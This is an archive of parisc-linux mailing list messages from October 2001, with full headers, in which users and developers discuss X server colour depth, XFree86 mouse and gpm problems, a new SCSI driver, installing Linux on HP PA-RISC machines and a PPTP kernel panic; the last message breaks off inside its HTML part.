Date: Tue, 16 Oct 2001 02:12:39 +0800
Lines: 16
Approved: news@gmane.org
Message-ID: <20011016021237.A29460@neep.com.au>
References: <1003154375.3bcaebc713db3@webmail.tiscalinet.be> <20011015164903.X11105@linuxcare.com> <20011015180923.A14160@elvis.franken.de> <1003166094.3bcb198edae10@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620627 28004 80.91.229.3 (22 Nov 2014 01:43:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:47 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 15 12:12:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.iinet.net.au (symphony-03.iinet.net.au [203.59.3.35])
	by dsl2.external.hp.com (Postfix) with SMTP id 77A78483C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Oct 2001 12:12:54 -0600 (MDT)
Original-Received: (qmail 16404 invoked by uid 666); 15 Oct 2001 18:12:48 -0000
Original-Received: from unknown (HELO guinness.internal.neep.com.au) (203.59.191.160)
  by mail.iinet.net.au with SMTP; 15 Oct 2001 18:12:48 -0000
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id CAA30818
	for parisc-linux@lists.parisc-linux.org; Tue, 16 Oct 2001 02:12:43 +0800
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <1003166094.3bcb198edae10@webmail.tiscalinet.be>; from joel.soete@freebel.net on Mon, Oct 15, 2001 at 07:14:54PM +0200
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:12653

Quoth joel.soete@freebel.net:
> Sorry for NEWBIES (as I am in term of X configuration) what means bpp?

Bits per pixel, or colour depth.  8bpp is 256 colours, 16bpp is
'thousands' and 32bpp is 'millions' of colours.

Andrew.

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."




From - Thu Nov 08 21:19:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] LED device moves around on B160L
Date: Tue, 16 Oct 2001 00:56:20 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <20011016005620.C15532@parcelfarce.linux.theplanet.co.uk>
References: <20011015174630.A3315@cargoclaimsdirect.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620628 28010 80.91.229.3 (22 Nov 2014 01:43:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Scott Ashcroft <scott.ashcroft@talk21.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 15 17:56:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2DB22482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Oct 2001 17:56:22 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15tHam-0006YP-00; Tue, 16 Oct 2001 00:56:20 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011015174630.A3315@cargoclaimsdirect.com>; from scott.ashcroft@talk21.com on Mon, Oct 15, 2001 at 05:46:30PM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12654

On Mon, Oct 15, 2001 at 05:46:30PM +0100, Scott Ashcroft wrote:
> Something weird is going on with the address of the LED device on my
> B160L.

I can reproduce this on an A180 here.  I'll look into it tomorrow; thanks.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New scsi driver for 53c700 and 53c710 committed
Date: Tue, 16 Oct 2001 10:17:16 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20011016101716.A11105@linuxcare.com>
References: <20011008230949.U11105@linuxcare.com> <20011013233216.A24926@zaphod.halden.lillfab.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620628 28014 80.91.229.3 (22 Nov 2014 01:43:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Daniel Engstrom <5116@telia.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 16 03:16:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust107.bre.cable.ntl.com [213.105.88.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5051D482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 16 Oct 2001 03:16:52 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 7C078B00C; Tue, 16 Oct 2001 10:17:16 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20011013233216.A24926@zaphod.halden.lillfab.se>; from 5116@telia.com on Sat, Oct 13, 2001 at 11:32:16PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:12655

On Sat, Oct 13, 2001 at 11:32:16PM +0200, Daniel Engstrom wrote:
> 
> Hi, Richard.
> 
> On 2001.10.09 00:09 Richard Hirst wrote:
> >   I've just added a new scsi driver for 53c700 and 53c710 chips to cvs.
> 
> I have some problems with this driver on my 715-50/old installed from the 
> 0.92 cd.

We've had one problem report so far that was fixed by adding a scsi
terminator.  The new driver runs fast sync scsi transfers, while the
old one ran slower async.  Poorly terminated scsi busses are much more
likely to fail with the new driver.  James Bottomley posted a patch to
disable sync transfers a few days ago, could you try that and see if
it helps?  Also let us know what you system has by way of scsi termination.

Thanks,
  Richard




From - Thu Nov 08 21:19:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Xfree86 failled with -pa57
Date: Tue, 16 Oct 2001 11:33:58 +0200 (CEST)
Lines: 54
Approved: news@gmane.org
Message-ID: <1003224838.3bcbff06c8a4f@webmail.tiscalinet.be>
References: <1003154375.3bcaebc713db3@webmail.tiscalinet.be> <20011015180923.A14160@elvis.franken.de> <1003166094.3bcb198edae10@webmail.tiscalinet.be> <E15tCEK-0003m8-00@spoolm4.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620628 28018 80.91.229.3 (22 Nov 2014 01:43:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:48 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 16 03:34:03 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0F54F482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 16 Oct 2001 03:34:01 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 15tQbm-0003z8-00; Tue, 16 Oct 2001 11:33:58 +0200
In-Reply-To: <E15tCEK-0003m8-00@spoolm4.tiscalinet.be>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Xref: news.gmane.org gmane.linux.ports.parisc:12656

Hello Helge,

Quoting Helge Deller <deller@gmx.de>:

> On Monday 15 October 2001 19:14, joel.soete@freebel.net wrote:
> > Sorry for NEWBIES (as I am in term of X configuration) what means
> bpp?
> 
> bpp = bits per pixel. 
> You should enter "8" here, which defaults to 2^8 = 256 colors.

Thanks a lot.

> 
> > Well I found what I have to change in my config file to make xdm
> works.
> > Just a problem:
> > After the xdm start everything seems to works fine (right colors,
> mouse
> > working,...). Then I login: ok the pointer still work, I can work in
> the
> > default xterm,...
> > But when I exit mouse does not move any more and I had to restart
> xdm.
> >
> > (Um.., on my B180 I thing have to update Xfree 4.0 to 4.1 the mouse
> does
> > not work at all but gpm well)
> 
> I assume you have a PS/2 mouse.

You have right,

> If so, disable gpm before starting xdm ("/etc/init.d/gpm stop").
> 

But sorry this as no effect:
on 712 pointer still fix in midle of the screen after an exit,
on b180 pointer still fixed all the time (even after an update to xfree 4.1.0-7)
(just after re-install of gpm: gpm.com contains as default repeat_type=ms3 then 
I have a pointer moving only at the bottum of the screen (same behaviour as the 
712 before I comment repeat_type)?)

Is it possible to config XFree so that it takes mouse input from gpm?

Thanks for help and ideas,
        joel


-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)




From - Thu Nov 08 21:19:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt.VanDeWerken@csiro.au
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Installing...
Date: Tue, 16 Oct 2001 19:39:59 +1000
Lines: 21
Approved: news@gmane.org
Message-ID: <A8566E157F5FD411BCFB00D0B7816D51C72BB2@ntexchange.cat.csiro.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620629 28022 80.91.229.3 (22 Nov 2014 01:43:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:49 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 16 03:42:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ntexchange.cat.csiro.au (ntexchange.cat.csiro.au [140.253.12.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5AFFC482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 16 Oct 2001 03:42:43 -0600 (MDT)
Original-Received: by ntexchange.cat.csiro.au with Internet Mail Service (5.5.2653.19)
	id <SF562FSF>; Tue, 16 Oct 2001 19:39:59 +1000
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12657

Hi All:

I have a 735/99 which I'd like to install the Linux port onto, among other
things to verify a new kernel graciously sent to me by Richard Hirst to test
the FW-SCSI port. However, I have a problem, and that is, no CD and no
network...

So, how can I get Linux onto this machine? I have a couple of external SCSI
disks and an x86 box with scsi, so I can use a CD image to create a bootable
disk, but how to do this? Any advice gratefully received...

Cheers,
Matthew van de Werken
Electronics Engineer
CSIRO Exploration & Mining - Gravity Group
1 Technology Court - Pullenvale - Qld - 4069
ph:  (07) 3327 4685     fax:  (07) 3327 4455
email:  m.vandewerken@cat.csiro.au




From - Thu Nov 08 21:19:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Xfree86 failled with -pa57
Date: Tue, 16 Oct 2001 11:38:59 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <3BCC0033.62930902@esiee.fr>
References: <1003154375.3bcaebc713db3@webmail.tiscalinet.be> <20011015180923.A14160@elvis.franken.de> <1003166094.3bcb198edae10@webmail.tiscalinet.be> <E15tCEK-0003m8-00@spoolm4.tiscalinet.be> <1003224838.3bcbff06c8a4f@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620629 28024 80.91.229.3 (22 Nov 2014 01:43:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:49 +0000 (UTC)
To: joel.soete@freebel.net,
	"parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 16 03:42:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 74B454832
	for <parisc-linux@parisc-linux.org>; Tue, 16 Oct 2001 03:42:44 -0600 (MDT)
Original-Received: from esiee.fr (pc213g.esiee.fr [147.215.80.169])
	by mail.esiee.fr (Postfix) with ESMTP
	id 2585CD15AA; Tue, 16 Oct 2001 11:42:28 +0200 (CEST)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.19 i686)
X-Accept-Language: fr, en
Xref: news.gmane.org gmane.linux.ports.parisc:12658

Hi all

> Is it possible to config XFree so that it takes mouse input from gpm?
Yes via /dev/gpmdata but I won't advice you to do so.
> 
I launched X via startx on my B132L. I can launch many xterm but I can't
exec xedit. I am looking why.
Perhaps, you are stuck b/c of software and not hardware or kernel
problems.

Try to do it via startx, Thomas.
ESIEE Team




From - Thu Nov 08 21:19:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installing...
Date: Tue, 16 Oct 2001 11:45:18 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <3BCC01AE.1DB5019B@esiee.fr>
References: <A8566E157F5FD411BCFB00D0B7816D51C72BB2@ntexchange.cat.csiro.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620629 28027 80.91.229.3 (22 Nov 2014 01:43:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matt.VanDeWerken@csiro.au
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 16 03:48:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0F45F482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 16 Oct 2001 03:48:52 -0600 (MDT)
Original-Received: from esiee.fr (pc213g.esiee.fr [147.215.80.169])
	by mail.esiee.fr (Postfix) with ESMTP
	id 9971FD15B1; Tue, 16 Oct 2001 11:48:47 +0200 (CEST)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.19 i686)
X-Accept-Language: fr, en
Xref: news.gmane.org gmane.linux.ports.parisc:12659

Hi Matthew,

	Once upon a time, we worked with the same equipment as you've got and
we published some filesystem tarballs. In addition, we wrote a script
called sysintall that does everything well if you can plug an externel
disc on a X86.

The useful links are:
http://www.parisc-linux.org/
http://www.esiee.fr/puffin/
http://mkhppa1.esiee.fr/download.html#fs

Good luck and if you need any help, please mail me, Thomas.
ESIEE Team




From - Thu Nov 08 21:19:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt.VanDeWerken@csiro.au
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Installing...
Date: Tue, 16 Oct 2001 19:51:26 +1000
Lines: 51
Approved: news@gmane.org
Message-ID: <A8566E157F5FD411BCFB00D0B7816D51C72BB5@ntexchange.cat.csiro.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620630 28029 80.91.229.3 (22 Nov 2014 01:43:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: marteaut@esiee.fr
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 16 03:54:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ntexchange.cat.csiro.au (ntexchange.cat.csiro.au [140.253.12.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id A9193482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 16 Oct 2001 03:54:10 -0600 (MDT)
Original-Received: by ntexchange.cat.csiro.au with Internet Mail Service (5.5.2653.19)
	id <SF562FST>; Tue, 16 Oct 2001 19:51:27 +1000
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12660

Thanks Thomas (so fast!!),

Are these filesystems still current? I've got an old nfs filesystem from
about that time, too, which I've installed before, so I have done it all
before, but I wasn't sure if the 'old' filesystem would work with the newer
kernels (and newer glibc?)

What I would prefer to do, if I can get some instruction, is to use the .iso
image to write to a disk (which I would make bootable - how?), which I could
then use to install to a second external disk.

I guess I should just 'give it a go', and see what happens.

Thanks  again,

Cheers,
Matthew van de Werken
Electronics Engineer
CSIRO Exploration & Mining - Gravity Group
1 Technology Court - Pullenvale - Qld - 4069
ph:  (07) 3327 4685     fax:  (07) 3327 4455
email:  m.vandewerken@cat.csiro.au


> -----Original Message-----
> From: Thomas Marteau [mailto:marteaut@esiee.fr]
> Sent: Tuesday, 16 October 2001 7:45 PM
> To: Matt.VanDeWerken@csiro.au
> Cc: parisc-linux@lists.parisc-linux.org
> Subject: Re: [parisc-linux] Installing...
> 
> 
> Hi Matthew,
> 
> 	Once upon a time, we worked with the same equipment as 
> you've got and
> we published some filesystem tarballs. In addition, we wrote a script
> called sysintall that does everything well if you can plug an externel
> disc on a X86.
> 
> The useful links are:
> http://www.parisc-linux.org/
> http://www.esiee.fr/puffin/
> http://mkhppa1.esiee.fr/download.html#fs
> 
> Good luck and if you need any help, please mail me, Thomas.
> ESIEE Team
> 




From - Thu Nov 08 21:19:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <helge.deller@sap.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installing...
Date: Tue, 16 Oct 2001 13:46:15 +0200
Organization: SAP LinuxLab
Lines: 77
Approved: news@gmane.org
Message-ID: <200110161146.NAA01522@sap-ag.de>
References: <A8566E157F5FD411BCFB00D0B7816D51C72BB5@ntexchange.cat.csiro.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620630 28032 80.91.229.3 (22 Nov 2014 01:43:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matt.VanDeWerken@csiro.au
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 16 05:46:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtpde02.sap-ag.de (smtpde02.sap-ag.de [194.39.131.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5F3BE482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 16 Oct 2001 05:46:24 -0600 (MDT)
Original-Received: from sap-ag.de (smtpde02)
  by smtpde02.sap-ag.de (out) with ESMTP id NAA22668;
  Tue, 16 Oct 2001 13:48:57 +0200 (MESZ)
X-Mailer: KMail [version 1.3.1]
In-Reply-To: <A8566E157F5FD411BCFB00D0B7816D51C72BB5@ntexchange.cat.csiro.au>
X-SAP: out
Xref: news.gmane.org gmane.linux.ports.parisc:12661

Hi Matt,

if I'm right you could just use your i386 machine to
copy the iso image of the palinux install cd directly to an 
empty scsi harddrive (e.g. with "dd if=palinux_cd.iso of=/dev/sdX").
Then connect that drive to your pa-box, do a "boot search" in the
bootmenu and boot directly from that harddrive (e.g. "boot scsi.5.0").

Helge

On Tuesday 16 October 2001 11:51, Matt.VanDeWerken@csiro.au wrote:
> Thanks Thomas (so fast!!),
>
> Are these filesystems still current? I've got an old nfs filesystem from
> about that time, too, which I've installed before, so I have done it all
> before, but I wasn't sure if the 'old' filesystem would work with the newer
> kernels (and newer glibc?)
>
> What I would prefer to do, if I can get some instruction, is to use the
> .iso image to write to a disk (which I would make bootable - how?), which I
> could then use to install to a second external disk.
>
> I guess I should just 'give it a go', and see what happens.
>
> Thanks  again,
>
> Cheers,
> Matthew van de Werken
> Electronics Engineer
> CSIRO Exploration & Mining - Gravity Group
> 1 Technology Court - Pullenvale - Qld - 4069
> ph:  (07) 3327 4685     fax:  (07) 3327 4455
> email:  m.vandewerken@cat.csiro.au
>
> > -----Original Message-----
> > From: Thomas Marteau [mailto:marteaut@esiee.fr]
> > Sent: Tuesday, 16 October 2001 7:45 PM
> > To: Matt.VanDeWerken@csiro.au
> > Cc: parisc-linux@lists.parisc-linux.org
> > Subject: Re: [parisc-linux] Installing...
> >
> >
> > Hi Matthew,
> >
> > 	Once upon a time, we worked with the same equipment as
> > you've got and
> > we published some filesystem tarballs. In addition, we wrote a script
> > called sysintall that does everything well if you can plug an externel
> > disc on a X86.
> >
> > The useful links are:
> > http://www.parisc-linux.org/
> > http://www.esiee.fr/puffin/
> > http://mkhppa1.esiee.fr/download.html#fs
> >
> > Good luck and if you need any help, please mail me, Thomas.
> > ESIEE Team
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux

-- 
_______________________________________________________________________

THE BEST RUN E-BUSINESSES RUN SAP
_______________________________________________________________________

Helge Deller                            email: helge.deller@sap.com
SAP AG Walldorf/Baden, Germany         Phone: +49 6227  7-67783
LinuxLab                               Fax  : +49 6227 78-67783

SAP LinuxLab support address: linux@sap.com




From - Thu Nov 08 21:19:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Soete Joel <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Xfree86 failled with -pa57
Date: Tue, 16 Oct 2001 15:17:43 +0000
Lines: 33
Approved: news@gmane.org
Message-ID: <3BCC4F97.C9E10515@freebel.net>
References: <1003154375.3bcaebc713db3@webmail.tiscalinet.be> <20011015180923.A14160@elvis.franken.de> <1003166094.3bcb198edae10@webmail.tiscalinet.be> <E15tCEK-0003m8-00@spoolm4.tiscalinet.be> <1003224838.3bcbff06c8a4f@webmail.tiscalinet.be> <3BCC0033.62930902@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620630 28035 80.91.229.3 (22 Nov 2014 01:43:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:50 +0000 (UTC)
Cc: "parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
To: Thomas Marteau <marteaut@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 16 09:11:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from spoolm2.tiscalinet.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 00DF7482A
	for <parisc-linux@parisc-linux.org>; Tue, 16 Oct 2001 09:11:38 -0600 (MDT)
Original-Received: from ppp-151-35-003.tiscalinet.be ([213.151.35.4] helo=freebel.net)
	by spoolm2.tiscalinet.be with esmtp (Tiscalinet) 
	id 15tVsH-0005b1-00; Tue, 16 Oct 2001 17:11:22 +0200
Original-Sender: jso@dsl2.external.hp.com
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.9-evms-cvs20011013 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:12662

Hello Thomas,

Thomas Marteau wrote:
> 
> Hi all
> 
> > Is it possible to config XFree so that it takes mouse input from gpm?
> Yes via /dev/gpmdata but I won't advice you to do so.

Yes, I find it back simply on my i386 (but at home) on which it works
fine that is why I though to this idea but I will follow your advice.

> >
> I launched X via startx on my B132L. I can launch many xterm but I can't
> exec xedit. I am looking why.

What's about a window manager the X default is twm (if I do not make
error) but it depends of menu which is not yet available for hppa? Can
we already replace it by fvwm to install later Xfce?

> Perhaps, you are stuck b/c of software and not hardware or kernel
> problems.
> 
> Try to do it via startx, Thomas.
> ESIEE Team

I do not yet try, so I will do soon and let you inform.

Thanks for advice and good idea,
	Joel




From - Thu Nov 08 21:19:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?DUTOT_St=E9phane?= <stephane.dutot@exlicite.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PPTP and PPPOE under Debian HPPA Linux.
Date: Tue, 16 Oct 2001 18:22:44 +0200
Lines: 68
Approved: news@gmane.org
Message-ID: <01a501c1565e$c9ce4e60$9601a8c0@utopia>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_01A2_01C1566F.8CEC2790"
X-Trace: ger.gmane.org 1416620631 28038 80.91.229.3 (22 Nov 2014 01:43:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:51 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 16 10:22:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from aubade.exlicite.net (aubade.exlicite.net [80.65.226.207])
	by dsl2.external.hp.com (Postfix) with ESMTP id 15E78482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 16 Oct 2001 10:22:05 -0600 (MDT)
Original-Received: from mail (helo=utopia)
	by aubade.exlicite.net with local-esmtp (Exim 3.33 #5 (Debian))
	id 15tWye-0002WE-00
	for <parisc-linux@lists.parisc-linux.org>; Tue, 16 Oct 2001 18:22:00 +0200
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Xref: news.gmane.org gmane.linux.ports.parisc:12663

C'est un message de format MIME en plusieurs parties.

------=_NextPart_000_01A2_01C1566F.8CEC2790
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hello,

I have a HP 712/100, I will install my HP station on Adsl gateway. For =
this, i need make a pptp or pppoe connexion.

When, the debian install kernel 2.4.0-32, when i start pppoe or pptp =
connexion, the pppd is launch and just after all system is block. With =
the last kernel version (2.4.9-pa45) downloaded on paris-linux site. =
When, i start pptp connexion, he has a kernel panic.

I have check the mailing-list archive. And i haven't found a begin of =
solution.

Maybe, do you have see this problem under the past ?

Thanks St=E9phane DUTOT.

------=_NextPart_000_01A2_01C1566F.8CEC2790
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.3315.2870" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
